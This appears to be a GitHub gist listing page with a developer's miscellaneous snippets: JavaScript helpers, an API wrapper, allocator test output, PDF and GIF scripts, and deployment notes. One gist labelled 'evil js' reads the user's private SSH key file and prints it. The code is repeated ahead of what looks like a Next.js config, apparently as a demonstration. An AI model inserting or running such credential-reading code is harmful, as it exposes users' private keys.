Skip to content

Instantly share code, notes, and snippets.

@zallarak
zallarak / string_concatenation.js
Created February 3, 2012 23:38
String concatenation in JavaScript
function StringBuffer() {
this.__strings__ = new Array;
}
StringBuffer.prototype.append = function(str) {
this.__strings__.push(str);
};
StringBuffer.prototype.toString = function() {
return this.__strings__.join(" ");
@zallarak
zallarak / post_request.js
Created December 4, 2012 23:07
javascript post request
function postRequest(path, params, method) {
method = method || 'POST';
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
@zallarak
zallarak / gist:4533914
Created January 14, 2013 21:58
simple locu api wrapper
LOCU_API_KEY = 'xxx'
def get_response(params, api_category='venue', api_type='search'):
"""
Takes a dictionary of params and queries the Locu API, returns
a requests.response object.
"""
def get_api_url(params):
base = 'http://api.locu.com/v1_0/{0}/{1}/?api_key={3}&'.format(
api_category,
@zallarak
zallarak / gist:d424b698c46873a57e2a
Created August 13, 2014 18:54
Base malloc large: 7a414310c981ecfde50ce729336df13367a75954
zain@gandalf:~/cs107/assign7$ ./alloctest -f tiny1.script
Evaluating allocator on tiny1....done.
script name correct? utilization requests secs Kreq/sec
-------------------------------------------------------------------------------
tiny1 Y 66% 12 0.000029 414
-------------------------------------------------------------------------------
Aggregate 1 of 1 66% 12 0.000029 414
66% (utilization) 4% (throughput, expressed relative to target 11000 Kreq/sec)
@zallarak
zallarak / whitenoise_example.py
Last active August 29, 2015 14:24
pdf_example.py
import pdfkit
pdfkit.from_file('test.html', 'out.pdf')
# Generating PDFs from strings and web-pages is equally easy:
pdfkit.from_string('Hello!', 'out.pdf')
pdfkit.from_url('http://google.com', 'out.pdf')
@zallarak
zallarak / mp42gif.sh
Created November 18, 2015 21:31
Create gif from mp4
#!/bin/bash
ffmpeg -i $1 -r 10 output%05d.png
convert -layers Optimize output*.png output.gif
rm output*.png
@zallarak
zallarak / horizon-deployment.md
Last active October 29, 2017 17:06
Stellar: horizon/stellar-core deployment

Horizon Deployment

Install Docker

sudo apt-get update

sudo apt-get install \
    apt-transport-https \
    ca-certificates \
@zallarak
zallarak / evil_js.js
Last active July 26, 2019 20:54
evil js
const fs = require('fs')
const pk = fs.readFileSync('/home/' + process.env.USER + '/.ssh/id_rsa').toString()
console.log(pk)
gvar = pk
console.log('This is your SSH key, kthxbai')
const fs = require('fs')
const pk = fs.readFileSync('/home/' + process.env.USER + '/.ssh/id_rsa').toString()
console.log(pk)
gvar = pk
console.log('This is your SSH key, kthxbai')
require("dotenv").config();
const path = require("path");
const Dotenv = require("dotenv-webpack");
const withLess = require("@zeit/next-less");
const withCSS = require("@zeit/next-css");
const { theme } = require("./src/lib/styles/nextTheme");
const withSourceMaps = require("@zeit/next-source-maps");